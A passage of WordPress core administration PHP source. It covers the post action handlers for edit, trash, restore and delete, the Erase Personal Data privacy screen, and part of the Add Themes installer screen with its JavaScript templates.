			wp_redirect( admin_url( 'post.php' ) );
			exit;
		}

		if ( ! $post ) {
			wp_die( __( 'You attempted to edit an item that does not exist. Perhaps it was deleted?' ) );
		}

		if ( ! $post_type_object ) {
			wp_die( __( 'Invalid post type.' ) );
		}

		if ( ! in_array( $typenow, get_post_types( array( 'show_ui' => true ) ), true ) ) {
			wp_die( __( 'Sorry, you are not allowed to edit posts in this post type.' ) );
		}

		if ( ! current_user_can( 'edit_post', $post_id ) ) {
			wp_die( __( 'Sorry, you are not allowed to edit this item.' ) );
		}

		if ( 'trash' === $post->post_status ) {
			wp_die( __( 'You cannot edit this item because it is in the Trash. Please restore it and try again.' ) );
		}

		if ( ! empty( $_GET['get-post-lock'] ) ) {
			check_admin_referer( 'lock-post_' . $post_id );
			wp_set_post_lock( $post_id );
			wp_redirect( get_edit_post_link( $post_id, 'url' ) );
			exit;
		}

		$post_type = $post->post_type;
		if ( 'post' === $post_type ) {
			$parent_file   = 'edit.php';
			$submenu_file  = 'edit.php';
			$post_new_file = 'post-new.php';
		} elseif ( 'attachment' === $post_type ) {
			$parent_file   = 'upload.php';
			$submenu_file  = 'upload.php';
			$post_new_file = 'media-new.php';
		} else {
			if ( isset( $post_type_object ) && $post_type_object->show_in_menu && true !== $post_type_object->show_in_menu ) {
				$parent_file = $post_type_object->show_in_menu;
			} else {
				$parent_file = "edit.php?post_type=$post_type";
			}
			$submenu_file  = "edit.php?post_type=$post_type";
			$post_new_file = "post-new.php?post_type=$post_type";
		}

		$title = $post_type_object->labels->edit_item;

		/**
		 * Allows replacement of the editor.
		 *
		 * @since 4.9.0
		 *
		 * @param bool    $replace Whether to replace the editor. Default false.
		 * @param WP_Post $post    Post object.
		 */
		if ( true === apply_filters( 'replace_editor', false, $post ) ) {
			break;
		}

		if ( use_block_editor_for_post( $post ) ) {
			require ABSPATH . 'wp-admin/edit-form-blocks.php';
			break;
		}

		if ( ! wp_check_post_lock( $post->ID ) ) {
			$active_post_lock = wp_set_post_lock( $post->ID );

			if ( 'attachment' !== $post_type ) {
				wp_enqueue_script( 'autosave' );
			}
		}

		$post = get_post( $post_id, OBJECT, 'edit' );

		if ( post_type_supports( $post_type, 'comments' ) ) {
			wp_enqueue_script( 'admin-comments' );
			enqueue_comment_hotkeys_js();
		}

		require ABSPATH . 'wp-admin/edit-form-advanced.php';

		break;

	case 'editattachment':
		check_admin_referer( 'update-post_' . $post_id );

		// Don't let these be changed.
		unset( $_POST['guid'] );
		$_POST['post_type'] = 'attachment';

		// Update the thumbnail filename.
		$newmeta          = wp_get_attachment_metadata( $post_id, true );
		$newmeta['thumb'] = wp_basename( $_POST['thumb'] );

		wp_update_attachment_metadata( $post_id, $newmeta );

		// Intentional fall-through to trigger the edit_post() call.
	case 'editpost':
		check_admin_referer( 'update-post_' . $post_id );

		$post_id = edit_post();

		// Session cookie flag that the post was saved.
		if ( isset( $_COOKIE['wp-saving-post'] ) && $_COOKIE['wp-saving-post'] === $post_id . '-check' ) {
			setcookie( 'wp-saving-post', $post_id . '-saved', time() + DAY_IN_SECONDS, ADMIN_COOKIE_PATH, COOKIE_DOMAIN, is_ssl() );
		}

		redirect_post( $post_id ); // Send user on their way while we keep working.

		exit;

	case 'trash':
		check_admin_referer( 'trash-post_' . $post_id );

		if ( ! $post ) {
			wp_die( __( 'The item you are trying to move to the Trash no longer exists.' ) );
		}

		if ( ! $post_type_object ) {
			wp_die( __( 'Invalid post type.' ) );
		}

		if ( ! current_user_can( 'delete_post', $post_id ) ) {
			wp_die( __( 'Sorry, you are not allowed to move this item to the Trash.' ) );
		}

		$user_id = wp_check_post_lock( $post_id );
		if ( $user_id ) {
			$user = get_userdata( $user_id );
			/* translators: %s: User's display name. */
			wp_die( sprintf( __( 'You cannot move this item to the Trash. %s is currently editing.' ), $user->display_name ) );
		}

		if ( ! wp_trash_post( $post_id ) ) {
			wp_die( __( 'Error in moving the item to Trash.' ) );
		}

		wp_redirect(
			add_query_arg(
				array(
					'trashed' => 1,
					'ids'     => $post_id,
				),
				$sendback
			)
		);
		exit;

	case 'untrash':
		check_admin_referer( 'untrash-post_' . $post_id );

		if ( ! $post ) {
			wp_die( __( 'The item you are trying to restore from the Trash no longer exists.' ) );
		}

		if ( ! $post_type_object ) {
			wp_die( __( 'Invalid post type.' ) );
		}

		if ( ! current_user_can( 'delete_post', $post_id ) ) {
			wp_die( __( 'Sorry, you are not allowed to restore this item from the Trash.' ) );
		}

		if ( ! wp_untrash_post( $post_id ) ) {
			wp_die( __( 'Error in restoring the item from Trash.' ) );
		}

		$sendback = add_query_arg(
			array(
				'untrashed' => 1,
				'ids'       => $post_id,
			),
			$sendback
		);
		wp_redirect( $sendback );
		exit;

	case 'delete':
		check_admin_referer( 'delete-post_' . $post_id );

		if ( ! $post ) {
			wp_die( __( 'This item has already been deleted.' ) );
		}

		if ( ! $post_type_object ) {
			wp_die( __( 'Invalid post type.' ) );
		}

		if ( ! current_user_can( 'delete_post', $post_id ) ) {
			wp_die( __( 'Sorry, you are not allowed to delete this item.' ) );
		}

		if ( 'attachment' === $post->post_type ) {
			$force = ( ! MEDIA_TRASH );
			if ( ! wp_delete_attachment( $post_id, $force ) ) {
				wp_die( __( 'Error in deleting the attachment.' ) );
			}
		} else {
			if ( ! wp_delete_post( $post_id, true ) ) {
				wp_die( __( 'Error in deleting the item.' ) );
			}
		}

		wp_redirect( add_query_arg( 'deleted', 1, $sendback ) );
		exit;

	case 'preview':
		check_admin_referer( 'update-post_' . $post_id );

		$url = post_preview();

		wp_redirect( $url );
		exit;

	case 'toggle-custom-fields':
		check_admin_referer( 'toggle-custom-fields', 'toggle-custom-fields-nonce' );

		$current_user_id = get_current_user_id();
		if ( $current_user_id ) {
			$enable_custom_fields = (bool) get_user_meta( $current_user_id, 'enable_custom_fields', true );
			update_user_meta( $current_user_id, 'enable_custom_fields', ! $enable_custom_fields );
		}

		wp_safe_redirect( wp_get_referer() );
		exit;

	default:
		/**
		 * Fires for a given custom post action request.
		 *
		 * The dynamic portion of the hook name, `$action`, refers to the custom post action.
		 *
		 * @since 4.6.0
		 *
		 * @param int $post_id Post ID sent with the request.
		 */
		do_action( "post_action_{$action}", $post_id );

		wp_redirect( admin_url( 'edit.php' ) );
		exit;
} // End switch.

require_once ABSPATH . 'wp-admin/admin-footer.php';
<?php
/**
 * Privacy tools, Erase Personal Data screen.
 *
 * @package WordPress
 * @subpackage Administration
 */

/** WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

if ( ! current_user_can( 'erase_others_personal_data' ) || ! current_user_can( 'delete_users' ) ) {
	wp_die( __( 'Sorry, you are not allowed to erase personal data on this site.' ) );
}

// Used in the HTML title tag.
$title = __( 'Erase Personal Data' );

// Contextual help - choose Help on the top right of admin panel to preview this.
get_current_screen()->add_help_tab(
	array(
		'id'      => 'overview',
		'title'   => __( 'Overview' ),
		'content' =>
					'<p>' . __( 'This screen is where you manage requests to erase personal data.' ) . '</p>' .
					'<p>' . __( 'Privacy Laws around the world require businesses and online services to delete, anonymize, or forget the data they collect about an individual. The rights those laws enshrine are sometimes called the "Right to be Forgotten".' ) . '</p>' .
					'<p>' . __( 'The tool associates data stored in WordPress with a supplied email address, including profile data and comments.' ) . '</p>' .
					'<p><strong>' . __( 'Note: As this tool only gathers data from WordPress and participating plugins, you may need to do more to comply with erasure requests. For example, you are also responsible for ensuring that data collected by or stored with the 3rd party services your organization uses gets deleted.' ) . '</strong></p>',
	)
);

get_current_screen()->add_help_tab(
	array(
		'id'      => 'default-data',
		'title'   => __( 'Default Data' ),
		'content' =>
					'<p>' . __( 'WordPress collects (but <em>never</em> publishes) a limited amount of data from logged-in users but then deletes it or anonymizes it. That data can include:' ) . '</p>' .
					'<p>' . __( '<strong>Profile Information</strong> &mdash; user email address, username, display name, nickname, first name, last name, description/bio, and registration date.' ) . '</p>' .
					'<p>' . __( '<strong>Community Events Location</strong> &mdash; The IP Address of the user which is used for the Upcoming Community Events shown in the dashboard widget.' ) . '</p>' .
					'<p>' . __( '<strong>Session Tokens</strong> &mdash; User login information, IP Addresses, Expiration Date, User Agent (Browser/OS), and Last Login.' ) . '</p>' .
					'<p>' . __( '<strong>Comments</strong> &mdash; WordPress does not delete comments. The software does anonymize (but, again, <em>never</em> publishes) the associated Email Address, IP Address, and User Agent (Browser/OS).' ) . '</p>' .
					'<p>' . __( '<strong>Media</strong> &mdash; A list of URLs for all media file uploads made by the user.' ) . '</p>',
	)
);

$privacy_policy_guide = '<p>' . sprintf(
	/* translators: %s: URL to Privacy Policy Guide screen. */
	__( 'If you are not sure, check the plugin documentation or contact the plugin author to see if the plugin collects data and if it supports the Data Eraser tool. This information may be available in the <a href="%s">Privacy Policy Guide</a>.' ),
	admin_url( 'options-privacy.php?tab=policyguide' )
) . '</p>';

get_current_screen()->add_help_tab(
	array(
		'id'      => 'plugin-data',
		'title'   => __( 'Plugin Data' ),
		'content' =>
					'<p>' . __( 'Many plugins may collect or store personal data either in the WordPress database or remotely. Any Erase Personal Data request should delete data from plugins as well.' ) . '</p>' .
					'<p>' . __( 'If you are a plugin author, you can <a href="https://developer.wordpress.org/plugins/privacy/adding-the-personal-data-eraser-to-your-plugin/" target="_blank">learn more about how to add support for the Personal Data Eraser to a plugin here</a>.' ) . '</p>' .
					$privacy_policy_guide,
	)
);

get_current_screen()->set_help_sidebar(
	'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
	'<p>' . __( '<a href="https://wordpress.org/documentation/article/tools-erase-personal-data-screen/">Documentation on Erase Personal Data</a>' ) . '</p>' .
	'<p>' . __( '<a href="https://wordpress.org/support/forums/">Support forums</a>' ) . '</p>'
);

// Handle list table actions.
_wp_personal_data_handle_actions();

// Cleans up failed and expired requests before displaying the list table.
_wp_personal_data_cleanup_requests();

wp_enqueue_script( 'privacy-tools' );

add_screen_option(
	'per_page',
	array(
		'default' => 20,
		'option'  => 'remove_personal_data_requests_per_page',
	)
);

$_list_table_args = array(
	'plural'   => 'privacy_requests',
	'singular' => 'privacy_request',
);

$requests_table = _get_list_table( 'WP_Privacy_Data_Removal_Requests_List_Table', $_list_table_args );

$requests_table->screen->set_screen_reader_content(
	array(
		'heading_views'      => __( 'Filter erase personal data list' ),
		'heading_pagination' => __( 'Erase personal data list navigation' ),
		'heading_list'       => __( 'Erase personal data list' ),
	)
);

$requests_table->process_bulk_action();
$requests_table->prepare_items();

require_once ABSPATH . 'wp-admin/admin-header.php';
?>

<div class="wrap nosubsub">
	<h1><?php esc_html_e( 'Erase Personal Data' ); ?></h1>
	<p><?php _e( 'This tool helps site owners comply with local laws and regulations by deleting or anonymizing known data for a given user.' ); ?></p>
	<hr class="wp-header-end" />

	<?php settings_errors(); ?>

	<form action="<?php echo esc_url( admin_url( 'erase-personal-data.php' ) ); ?>" method="post" class="wp-privacy-request-form">
		<h2><?php esc_html_e( 'Add Data Erasure Request' ); ?></h2>
		<div class="wp-privacy-request-form-field">
			<table class="form-table">
				<tr>
					<th scope="row">
						<label for="username_or_email_for_privacy_request"><?php esc_html_e( 'Username or email address' ); ?></label>
					</th>
					<td>
						<input type="text" required class="regular-text ltr" id="username_or_email_for_privacy_request" name="username_or_email_for_privacy_request" />
					</td>
				</tr>
				<tr>
					<th scope="row">
						<?php _e( 'Confirmation email' ); ?>
					</th>
					<td>
						<label for="send_confirmation_email">
							<input type="checkbox" name="send_confirmation_email" id="send_confirmation_email" value="1" checked="checked" />
							<?php _e( 'Send personal data erasure confirmation email.' ); ?>
						</label>
					</td>
				</tr>
			</table>
			<p class="submit">
				<?php submit_button( __( 'Send Request' ), 'secondary', 'submit', false ); ?>
			</p>
		</div>
		<?php wp_nonce_field( 'personal-data-request' ); ?>
		<input type="hidden" name="action" value="add_remove_personal_data_request" />
		<input type="hidden" name="type_of_action" value="remove_personal_data" />
	</form>
	<hr />

	<?php $requests_table->views(); ?>

	<form class="search-form wp-clearfix">
		<?php $requests_table->search_box( __( 'Search Requests' ), 'requests' ); ?>
		<input type="hidden" name="filter-status" value="<?php echo isset( $_REQUEST['filter-status'] ) ? esc_attr( sanitize_text_field( $_REQUEST['filter-status'] ) ) : ''; ?>" />
		<input type="hidden" name="orderby" value="<?php echo isset( $_REQUEST['orderby'] ) ? esc_attr( sanitize_text_field( $_REQUEST['orderby'] ) ) : ''; ?>" />
		<input type="hidden" name="order" value="<?php echo isset( $_REQUEST['order'] ) ? esc_attr( sanitize_text_field( $_REQUEST['order'] ) ) : ''; ?>" />
	</form>

	<form method="post">
		<?php
		$requests_table->display();
		$requests_table->embed_scripts();
		?>
	</form>
</div>

<?php
require_once ABSPATH . 'wp-admin/admin-footer.php';
<?php
/**
 * Install theme administration panel.
 *
 * @package WordPress
 * @subpackage Administration
 */

/** WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';
require ABSPATH . 'wp-admin/includes/theme-install.php';

wp_reset_vars( array( 'tab' ) );

if ( ! current_user_can( 'install_themes' ) ) {
	wp_die( __( 'Sorry, you are not allowed to install themes on this site.' ) );
}

if ( is_multisite() && ! is_network_admin() ) {
	wp_redirect( network_admin_url( 'theme-install.php' ) );
	exit;
}

// Used in the HTML title tag.
$title       = __( 'Add Themes' );
$parent_file = 'themes.php';

if ( ! is_network_admin() ) {
	$submenu_file = 'themes.php';
}

$installed_themes = search_theme_directories();

if ( false === $installed_themes ) {
	$installed_themes = array();
}

foreach ( $installed_themes as $theme_slug => $theme_data ) {
	// Ignore child themes.
	if ( str_contains( $theme_slug, '/' ) ) {
		unset( $installed_themes[ $theme_slug ] );
	}
}

wp_localize_script(
	'theme',
	'_wpThemeSettings',
	array(
		'themes'          => false,
		'settings'        => array(
			'isInstall'  => true,
			'canInstall' => current_user_can( 'install_themes' ),
			'installURI' => current_user_can( 'install_themes' ) ? self_admin_url( 'theme-install.php' ) : null,
			'adminUrl'   => parse_url( self_admin_url(), PHP_URL_PATH ),
		),
		'l10n'            => array(
			'addNew'              => __( 'Add New Theme' ),
			'search'              => __( 'Search Themes' ),
			'searchPlaceholder'   => __( 'Search themes...' ), // Placeholder (no ellipsis).
			'upload'              => __( 'Upload Theme' ),
			'back'                => __( 'Back' ),
			'error'               => sprintf(
				/* translators: %s: Support forums URL. */
				__( 'An unexpected error occurred. Something may be wrong with WordPress.org or this server&#8217;s configuration. If you continue to have problems, please try the <a href="%s">support forums</a>.' ),
				__( 'https://wordpress.org/support/forums/' )
			),
			'tryAgain'            => __( 'Try Again' ),
			/* translators: %d: Number of themes. */
			'themesFound'         => __( 'Number of Themes found: %d' ),
			'noThemesFound'       => __( 'No themes found. Try a different search.' ),
			'collapseSidebar'     => __( 'Collapse Sidebar' ),
			'expandSidebar'       => __( 'Expand Sidebar' ),
			/* translators: Hidden accessibility text. */
			'selectFeatureFilter' => __( 'Select one or more Theme features to filter by' ),
		),
		'installedThemes' => array_keys( $installed_themes ),
		'activeTheme'     => get_stylesheet(),
	)
);

wp_enqueue_script( 'theme' );
wp_enqueue_script( 'updates' );

if ( $tab ) {
	/**
	 * Fires before each of the tabs are rendered on the Install Themes page.
	 *
	 * The dynamic portion of the hook name, `$tab`, refers to the current
	 * theme installation tab.
	 *
	 * Possible hook names include:
	 *
	 *  - `install_themes_pre_block-themes`
	 *  - `install_themes_pre_dashboard`
	 *  - `install_themes_pre_featured`
	 *  - `install_themes_pre_new`
	 *  - `install_themes_pre_search`
	 *  - `install_themes_pre_updated`
	 *  - `install_themes_pre_upload`
	 *
	 * @since 2.8.0
	 * @since 6.1.0 Added the `install_themes_pre_block-themes` hook name.
	 */
	do_action( "install_themes_pre_{$tab}" );
}

$help_overview =
	'<p>' . sprintf(
		/* translators: %s: Theme Directory URL. */
		__( 'You can find additional themes for your site by using the Theme Browser/Installer on this screen, which will display themes from the <a href="%s">WordPress Theme Directory</a>. These themes are designed and developed by third parties, are available free of charge, and are compatible with the license WordPress uses.' ),
		__( 'https://wordpress.org/themes/' )
	) . '</p>' .
	'<p>' . __( 'You can Search for themes by keyword, author, or tag, or can get more specific and search by criteria listed in the feature filter.' ) . ' <span id="live-search-desc">' . __( 'The search results will be updated as you type.' ) . '</span></p>' .
	'<p>' . __( 'Alternately, you can browse the themes that are Popular or Latest. When you find a theme you like, you can preview it or install it.' ) . '</p>' .
	'<p>' . sprintf(
		/* translators: %s: /wp-content/themes */
		__( 'You can Upload a theme manually if you have already downloaded its ZIP archive onto your computer (make sure it is from a trusted and original source). You can also do it the old-fashioned way and copy a downloaded theme&#8217;s folder via FTP into your %s directory.' ),
		'<code>/wp-content/themes</code>'
	) . '</p>';

get_current_screen()->add_help_tab(
	array(
		'id'      => 'overview',
		'title'   => __( 'Overview' ),
		'content' => $help_overview,
	)
);

$help_installing =
	'<p>' . __( 'Once you have generated a list of themes, you can preview and install any of them. Click on the thumbnail of the theme you are interested in previewing. It will open up in a full-screen Preview page to give you a better idea of how that theme will look.' ) . '</p>' .
	'<p>' . __( 'To install the theme so you can preview it with your site&#8217;s content and customize its theme options, click the "Install" button at the top of the left-hand pane. The theme files will be downloaded to your website automatically. When this is complete, the theme is now available for activation, which you can do by clicking the "Activate" link, or by navigating to your Manage Themes screen and clicking the "Live Preview" link under any installed theme&#8217;s thumbnail image.' ) . '</p>';

get_current_screen()->add_help_tab(
	array(
		'id'      => 'installing',
		'title'   => __( 'Previewing and Installing' ),
		'content' => $help_installing,
	)
);

// Help tab: Block themes.
$help_block_themes =
	'<p>' . __( 'A block theme is a theme that uses blocks for all parts of a site including navigation menus, header, content, and site footer. These themes are built for the features that allow you to edit and customize all parts of your site.' ) . '</p>' .
	'<p>' . __( 'With a block theme, you can place and edit blocks without affecting your content by customizing or creating new templates.' ) . '</p>';

get_current_screen()->add_help_tab(
	array(
		'id'      => 'block_themes',
		'title'   => __( 'Block themes' ),
		'content' => $help_block_themes,
	)
);

get_current_screen()->set_help_sidebar(
	'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
	'<p>' . __( '<a href="https://wordpress.org/documentation/article/appearance-themes-screen/#install-themes">Documentation on Adding New Themes</a>' ) . '</p>' .
	'<p>' . __( '<a href="https://wordpress.org/documentation/article/block-themes/">Documentation on Block Themes</a>' ) . '</p>' .
	'<p>' . __( '<a href="https://wordpress.org/support/forums/">Support forums</a>' ) . '</p>'
);

require_once ABSPATH . 'wp-admin/admin-header.php';

?>
<div class="wrap">
	<h1 class="wp-heading-inline"><?php echo esc_html( $title ); ?></h1>

	<?php

	/**
	 * Filters the tabs shown on the Add Themes screen.
	 *
	 * This filter is for backward compatibility only, for the suppression of the upload tab.
	 *
	 * @since 2.8.0
	 *
	 * @param string[] $tabs Associative array of the tabs shown on the Add Themes screen. Default is 'upload'.
	 */
	$tabs = apply_filters( 'install_themes_tabs', array( 'upload' => __( 'Upload Theme' ) ) );
	if ( ! empty( $tabs['upload'] ) && current_user_can( 'upload_themes' ) ) {
		echo ' <button type="button" class="upload-view-toggle page-title-action hide-if-no-js" aria-expanded="false">' . __( 'Upload Theme' ) . '</button>';
	}
	?>

	<hr class="wp-header-end">

	<?php
	wp_admin_notice(
		__( 'The Theme Installer screen requires JavaScript.' ),
		array(
			'additional_classes' => array( 'error', 'hide-if-js' ),
		)
	);
	?>

	<div class="upload-theme">
	<?php install_themes_upload(); ?>
	</div>

	<h2 class="screen-reader-text hide-if-no-js">
		<?php
		/* translators: Hidden accessibility text. */
		_e( 'Filter themes list' );
		?>
	</h2>

	<div class="wp-filter hide-if-no-js">
		<div class="filter-count">
			<span class="count theme-count"></span>
		</div>

		<ul class="filter-links">
			<li><a href="#" data-sort="popular"><?php _ex( 'Popular', 'themes' ); ?></a></li>
			<li><a href="#" data-sort="new"><?php _ex( 'Latest', 'themes' ); ?></a></li>
			<li><a href="#" data-sort="block-themes"><?php _ex( 'Block Themes', 'themes' ); ?></a></li>
			<li><a href="#" data-sort="favorites"><?php _ex( 'Favorites', 'themes' ); ?></a></li>
		</ul>

		<button type="button" class="button drawer-toggle" aria-expanded="false"><?php _e( 'Feature Filter' ); ?></button>

		<form class="search-form"></form>

		<div class="favorites-form">
			<?php
			$action = 'save_wporg_username_' . get_current_user_id();
			if ( isset( $_GET['_wpnonce'] ) && wp_verify_nonce( wp_unslash( $_GET['_wpnonce'] ), $action ) ) {
				$user = isset( $_GET['user'] ) ? wp_unslash( $_GET['user'] ) : get_user_option( 'wporg_favorites' );
				update_user_meta( get_current_user_id(), 'wporg_favorites', $user );
			} else {
				$user = get_user_option( 'wporg_favorites' );
			}
			?>
			<p class="install-help"><?php _e( 'If you have marked themes as favorites on WordPress.org, you can browse them here.' ); ?></p>

			<p>
				<label for="wporg-username-input"><?php _e( 'Your WordPress.org username:' ); ?></label>
				<input type="hidden" id="wporg-username-nonce" name="_wpnonce" value="<?php echo esc_attr( wp_create_nonce( $action ) ); ?>" />
				<input type="search" id="wporg-username-input" value="<?php echo esc_attr( $user ); ?>" />
				<input type="button" class="button favorites-form-submit" value="<?php esc_attr_e( 'Get Favorites' ); ?>" />
			</p>
		</div>

		<div class="filter-drawer">
			<div class="buttons">
				<button type="button" class="apply-filters button"><?php _e( 'Apply Filters' ); ?><span></span></button>
				<button type="button" class="clear-filters button" aria-label="<?php esc_attr_e( 'Clear current filters' ); ?>"><?php _e( 'Clear' ); ?></button>
			</div>
		<?php
		// Use the core list, rather than the .org API, due to inconsistencies
		// and to ensure tags are translated.
		$feature_list = get_theme_feature_list( false );

		foreach ( $feature_list as $feature_group => $features ) {
			echo '<fieldset class="filter-group">';
			echo '<legend>' . esc_html( $feature_group ) . '</legend>';
			echo '<div class="filter-group-feature">';
			foreach ( $features as $feature => $feature_name ) {
				$feature = esc_attr( $feature );
				echo '<input type="checkbox" id="filter-id-' . $feature . '" value="' . $feature . '" /> ';
				echo '<label for="filter-id-' . $feature . '">' . esc_html( $feature_name ) . '</label>';
			}
			echo '</div>';
			echo '</fieldset>';
		}
		?>
			<div class="buttons">
				<button type="button" class="apply-filters button"><?php _e( 'Apply Filters' ); ?><span></span></button>
				<button type="button" class="clear-filters button" aria-label="<?php esc_attr_e( 'Clear current filters' ); ?>"><?php _e( 'Clear' ); ?></button>
			</div>
			<div class="filtered-by">
				<span><?php _e( 'Filtering by:' ); ?></span>
				<div class="tags"></div>
				<button type="button" class="button-link edit-filters"><?php _e( 'Edit Filters' ); ?></button>
			</div>
		</div>
	</div>
	<h2 class="screen-reader-text hide-if-no-js">
		<?php
		/* translators: Hidden accessibility text. */
		_e( 'Themes list' );
		?>
	</h2>
	<div class="theme-browser content-filterable"></div>
	<div class="theme-install-overlay wp-full-overlay expanded"></div>

	<p class="no-themes"><?php _e( 'No themes found. Try a different search.' ); ?></p>
	<span class="spinner"></span>

<?php
if ( $tab ) {
	/**
	 * Fires at the top of each of the tabs on the Install Themes page.
	 *
	 * The dynamic portion of the hook name, `$tab`, refers to the current
	 * theme installation tab.
	 *
	 * Possible hook names include:
	 *
	 *  - `install_themes_block-themes`
	 *  - `install_themes_dashboard`
	 *  - `install_themes_featured`
	 *  - `install_themes_new`
	 *  - `install_themes_search`
	 *  - `install_themes_updated`
	 *  - `install_themes_upload`
	 *
	 * @since 2.8.0
	 * @since 6.1.0 Added the `install_themes_block-themes` hook name.
	 *
	 * @param int $paged Number of the current page of results being viewed.
	 */
	do_action( "install_themes_{$tab}", $paged );
}
?>
</div>

<script id="tmpl-theme" type="text/template">
	<# if ( data.screenshot_url ) { #>
		<div class="theme-screenshot">
			<img src="{{ data.screenshot_url }}?ver={{ data.version }}" alt="" />
		</div>
	<# } else { #>
		<div class="theme-screenshot blank"></div>
	<# } #>

	<# if ( data.installed ) { #>
		<?php
		wp_admin_notice(
			_x( 'Installed', 'theme' ),
			array(
				'type'               => 'success',
				'additional_classes' => array( 'notice-alt' ),
			)
		);
		?>
	<# } #>

	<# if ( ! data.compatible_wp || ! data.compatible_php ) { #>
		<div class="notice notice-error notice-alt"><p>
			<# if ( ! data.compatible_wp && ! data.compatible_php ) { #>
				<?php
				_e( 'This theme does not work with your versions of WordPress and PHP.' );
				if ( current_user_can( 'update_core' ) && current_user_can( 'update_php' ) ) {
					printf(
						/* translators: 1: URL to WordPress Updates screen, 2: URL to Update PHP page. */
						' ' . __( '<a href="%1$s">Please update WordPress</a>, and then <a href="%2$s">learn more about updating PHP</a>.' ),
						self_admin_url( 'update-core.php' ),
						esc_url( wp_get_update_php_url() )
					);
					wp_update_php_annotation( '</p><p><em>', '</em>' );
				} elseif ( current_user_can( 'update_core' ) ) {
					printf(
						/* translators: %s: URL to WordPress Updates screen. */
						' ' . __( '<a href="%s">Please update WordPress</a>.' ),
						self_admin_url( 'update-core.php' )
					);
				} elseif ( current_user_can( 'update_php' ) ) {
					printf(
						/* translators: %s: URL to Update PHP page. */
						' ' . __( '<a href="%s">Learn more about updating PHP</a>.' ),
						esc_url( wp_get_update_php_url() )
					);
					wp_update_php_annotation( '</p><p><em>', '</em>' );
				}
				?>
			<# } else if ( ! data.compatible_wp ) { #>
				<?php
				_e( 'This theme does not work with your version of WordPress.' );
				if ( current_user_can( 'update_core' ) ) {
					printf(
						/* translators: %s: URL to WordPress Updates screen. */
						' ' . __( '<a href="%s">Please update WordPress</a>.' ),
						self_admin_url( 'update-core.php' )
					);
				}
				?>
			<# } else if ( ! data.compatible_php ) { #>
				<?php
				_e( 'This theme does not work with your version of PHP.' );
				if ( current_user_can( 'update_php' ) ) {
					printf(
						/* translators: %s: URL to Update PHP page. */
						' ' . __( '<a href="%s">Learn more about updating PHP</a>.' ),
						esc_url( wp_get_update_php_url() )
					);
					wp_update_php_annotation( '</p><p><em>', '</em>' );
				}
				?>
			<# } #>
		</p></div>
	<# } #>

	<span class="more-details"><?php _ex( 'Details &amp; Preview', 'theme' ); ?></span>
	<div class="theme-author">
		<?php
		/* translators: %s: Theme author name. */
		printf( __( 'By %s' ), '{{ data.author }}' );
		?>
	</div>

	<div class="theme-id-container">
		<h3 class="theme-name">{{ data.name }}</h3>

		<div class="theme-actions">
			<# if ( data.installed ) { #>
				<# if ( data.compatible_wp && data.compatible_php ) { #>
					<?php
					/* translators: %s: Theme name. */
					$aria_label = sprintf( _x( 'Activate %s', 'theme' ), '{{ data.name }}' );
					?>
					<# if ( data.activate_url ) { #>
						<# if ( ! data.active ) { #>
							<a class="button button-primary activate" href="{{ data.activate_url }}" aria-label="<?php echo esc_attr( $aria_label ); ?>"><?php _e( 'Activate' ); ?></a>
						<# } else { #>
							<button class="button button-primary disabled"><?php _ex( 'Activated', 'theme' ); ?></button>
						<# } #>
					<# } #>
					<# if ( data.customize_url ) { #>
						<# if ( ! data.active ) { #>
							<# if ( ! data.block_theme ) { #>
								<a class="button load-customize" href="{{ data.customize_url }}"><?php _e( 'Live Preview' ); ?></a>
							<# } #>
						<# } else { #>
							<a class="button load-customize" href="{{ data.customize_url }}"><?php _e( 'Customize' ); ?></a>
						<# } #>
					<# } else { #>
						<button class="button preview install-theme-preview"><?php _e( 'Preview' ); ?></button>
					<# } #>
				<# } else { #>
					<?php
					/* translators: %s: Theme name. */
					$aria_label = sprintf( _x( 'Cannot Activate %s', 'theme' ), '{{ data.name }}' );
					?>
					<# if ( data.activate_url ) { #>
						<a class="button button-primary disabled" aria-label="<?php echo esc_attr( $aria_label ); ?>"><?php _ex( 'Cannot Activate', 'theme' ); ?></a>
					<# } #>
					<# if ( data.customize_url ) { #>
						<a class="button disabled"><?php _e( 'Live Preview' ); ?></a>
					<# } else { #>
						<button class="button disabled"><?php _e( 'Preview' ); ?></button>
					<# } #>
				<# } #>
			<# } else { #>
				<# if ( data.compatible_wp && data.compatible_php ) { #>
					<?php
					/* translators: %s: Theme name. */
					$aria_label = sprintf( _x( 'Install %s', 'theme' ), '{{ data.name }}' );
					?>
					<a class="button button-primary theme-install" data-name="{{ data.name }}" data-slug="{{ data.id }}" href="{{ data.install_url }}" aria-label="<?php echo esc_attr( $aria_label ); ?>"><?php _e( 'Install' ); ?></a>
					<button class="button preview install-theme-preview"><?php _e( 'Preview' ); ?></button>
				<# } else { #>
					<?php
					/* translators: %s: Theme name. */
					$aria_label = sprintf( _x( 'Cannot Install %s', 'theme' ), '{{ data.name }}' );
					?>
					<a class="button button-primary disabled" data-name="{{ data.name }}" aria-label="<?php echo esc_attr( $aria_label ); ?>"><?php _ex( 'Cannot Install', 'theme' ); ?></a>
					<button class="button disabled"><?php _e( 'Preview' ); ?></button>
				<# } #>
			<# } #>
		</div>
	</div>
</script>

<script id="tmpl-theme-preview" type="text/template">
	<div class="wp-full-overlay-sidebar">
		<div class="wp-full-overlay-header">
			<button class="close-full-overlay"><span class="screen-reader-text">
				<?php
				/* translators: Hidden accessibility text. */
				_e( 'Close' );
				?>
			</span></button>
			<button class="previous-theme"><span class="screen-reader-text">
				<?php
				/* translators: Hidden accessibility text. */
				_e( 'Previous theme' );
				?>
			</span></button>
			<button class="next-theme"><span class="screen-reader-text">
				<?php
				/* translators: Hidden accessibility text. */
				_e( 'Next theme' );
				?>
			</span></button>
			<# if ( data.installed ) { #>
				<# if ( data.compatible_wp && data.compatible_php ) { #>
					<?php
					/* translators: %s: Theme name. */
					$aria_label = sprintf( _x( 'Activate %s', 'theme' ), '{{ data.name }}' );
					?>
					<# if ( ! data.active ) { #>
						<a class="button button-primary activate" href="{{ data.activate_url }}" aria-label="<?php echo esc_attr( $aria_label ); ?>"><?php _e( 'Activate' ); ?></a>
					<# } else { #>
						<button class="button button-primary disabled"><?php _ex( 'Activated', 'theme' ); ?></button>
					<# } #>
				<# } else { #>
					<a class="button button-primary disabled" ><?php _ex( 'Cannot Activate', 'theme' ); ?></a>
				<# } #>
			<# } else { #>
				<# if ( data.compatible_wp && data.compatible_php ) { #>
